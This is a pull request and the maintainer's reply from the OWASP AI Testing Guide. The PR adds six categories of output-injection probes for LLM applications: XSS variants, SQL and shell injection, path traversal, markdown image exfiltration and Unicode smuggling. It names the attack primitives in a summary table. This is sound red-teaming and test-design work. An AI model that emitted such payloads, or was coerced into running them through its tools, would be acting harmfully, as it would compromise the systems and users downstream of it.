AITG-APP-05: add 6 output-injection vector categories

[ppcvote]

Summary

Extends the AITG-APP-05 Testing for Unsafe Outputs scenario with six new payload categories covering the application-level injection vectors the document's own summary identifies (XSS, SSRF, injections) but only tests for in a single XSS category today.

Maintainer @MatOwasp noted on #28 that the Unsafe Outputs section needs more output-injection examples ("Feel free to add new specific content and pull your requests"). This PR is a direct response to that invitation.

Partially closes #28. Cross-references #76 (Recursive Task Chain Manipulation), which is a different attack pattern out of scope for this PR.

What's added

Six new categories under the existing How to Test/Payloads numbered list, each following the established format (numbered heading → probe prompts in code blocks → "Response indicating vulnerability" line). The numbering continues from the existing tests:

#	Category	What's probed
12	XSS beyond <script> tags	Inline event handlers (onerror=), javascript: URIs, data:text/html, <iframe srcdoc>, <svg><script>
13	SQL injection in output	;DROP TABLE, UNION SELECT, comment-bypass ';--
14	Shell command injection in output	curl … | sh installers, rm -rf /<sys>, reverse shells, env-var exfil
15	Path traversal to sensitive files	Multi-segment ../ walk to etc/passwd / etc/shadow / windows\system32 / proc/self
16	Markdown image exfiltration	Model-emitted 
17	Unicode smuggling	Homoglyphs (Cyrillic lookalikes) and bidirectional overrides (U+202A–U+202E)

Each category is intentionally distinct from the existing XSS test (#11): #11 covers <script> blocklisting, #12 covers the equally-executable primitives that pure <script>-blocklists miss.

Why these six

They cover the OWASP LLM02:2025 sub-categories that surface in production agentic deployments but aren't probed by existing categories 1-11:

• Tests 12-15 each correspond to a primitive an agent's downstream tool layer can be coerced into executing (renderer / query builder / shell / file-read tool).
• Tests 16 covers a markdown-rendering exfiltration class that's been publicly demonstrated in multiple chat-UI products.
• Test 17 covers the byte-level-vs-NFC defense gap that every existing test in 12-15 is vulnerable to without it.

The doc's own summary already cites "Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), injections" — this PR makes that summary's promise consistent with the testable content.

Disclosure

I author prompt-defense-audit-py (MIT, on PyPI), a regex catalog for these vectors, and the equivalent scorers are in flight to PyRIT via microsoft/PyRIT#1868 which references the same OWASP LLM02 mapping. I intentionally did not add either tool to the Suggested Tools list in this PR — happy to add them as a follow-up if you'd like third-party tool coverage there, but didn't want to bundle a self-reference into a content-only contribution.

Scope notes

• Pure content addition. No structural reorganization, no edits to existing tests 1-11, no edits to surrounding sections.
• No changes outside the single file Document/content/tests/AITG-APP-05_Testing_for_Unsafe_Outputs.md.
• Each new category's probe prompts are plain-text instructions (no LLM-specific syntax), so they're portable across providers.

[MatOwasp]

Thank you for the contribution and for the detailed rationale behind it.

I agree that the current Unsafe Outputs section focuses primarily on traditional XSS payloads, while the summary and the broader OWASP LLM02 scope reference a wider set of output-driven attack vectors. The additional categories improve the coverage of application-level output injection scenarios and provide practical examples that can be used by testers across different AI application architectures.

Thank you again for helping improve the AI Testing Guide and for taking the time to contribute concrete testing content.